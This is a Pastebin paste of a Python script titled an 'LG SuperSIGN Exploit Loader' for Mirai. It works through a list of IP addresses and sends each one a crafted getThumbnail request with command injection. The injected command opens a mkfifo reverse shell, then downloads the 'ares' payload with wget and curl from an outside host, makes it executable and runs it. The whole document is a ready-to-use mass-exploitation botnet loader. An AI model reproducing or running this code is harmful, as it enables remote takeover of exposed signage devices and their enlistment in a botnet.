xB4ckdoorREAL

[NEW LG SUPERSIGN EXPLOIT LOADER ] [RCE MIRAI] [PRIVATE]

Nov 8th, 2019
506
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.58 KB | None | 0 0
  1. #! python !#
  2. # -*- coding: utf-8 -*-
  3. #LG SuperSIGN Exploit Loader made by B4CKDOOR#
  4. #REQUESTS ERROR: yum install python-requests#
  5. import threading, sys, time, random, socket, re, os, struct, array, requests
  6. from threading import Thread
  7. from time import sleep
  8. import requests
  9. from requests.auth import HTTPDigestAuth
  10. from decimal import *  
  11.  
  12. if len(sys.argv) < 3:
  13.     print "\033[37mUsage: python "+sys.argv[0]+" <list> <port>\033[37m"
  14.     sys.exit()
  15. #USAGE: python b4ck_lg.py vuln.txt 9080 | python b4ck_lg.py vuln list 9080
  16. ips = open(sys.argv[1], "r").readlines()
  17. port = int(sys.argv[2]) # ports  9080  
  18. class b4ckdoor(threading.Thread):
  19.         def __init__ (self, ip):
  20.             threading.Thread.__init__(self)
  21.             self.ip = str(ip).rstrip('\n')
  22.         def run(self):
  23.             try:
  24.                 print "\x1b[1;31m[\x1b[1;37mSuperSign\x1b[1;31m]\x1b[1;37m Xploiting\x1b[1;31m[\x1b[1;36m\x1b[1;31m]" + self.ip
  25.                 url = "http://" + self.ip + ":"+port+"/qsr_server/device/getThumbnail?sourceUri=\'%20-;rm%2B%2Ftmp%2Ff%3Bmkfifo%2B%2Ftmp%2Ff%3Bcat%2B%2Ftmp%2Ff%2B%7C%2B%2Fbin%2Fsh%2B-i%2B2%3E%261%2B%7C%2B%3Bwget%20http%3A%2F%2F1.1.1.1%2Fares%3B%20curl%20-O%20http%3A%2F%2F1.1.1.1%2Fares%3B%20chmod%20777%20ares%3B%20sh%20ares;\'&targetUri=%2Ftmp%2Fthumb%2Ftest.jpg&mediaType=image&targetWidth=400&targetHeight=400&scaleType=crop&_=1537275717150"
  26.              
  27.                 requests.get(url, timeout=4)
  28.  
  29.             except Exception as e:
  30.                 pass
  31. for ip in ips:
  32.     try:
  33.         n = b4ckdoor(ip)
  34.         n.start()
  35.         time.sleep(0.03)
  36.     except:
  37.         pass#CODED BY B4CKDOOR
Add Comment
Please, Sign In to add comment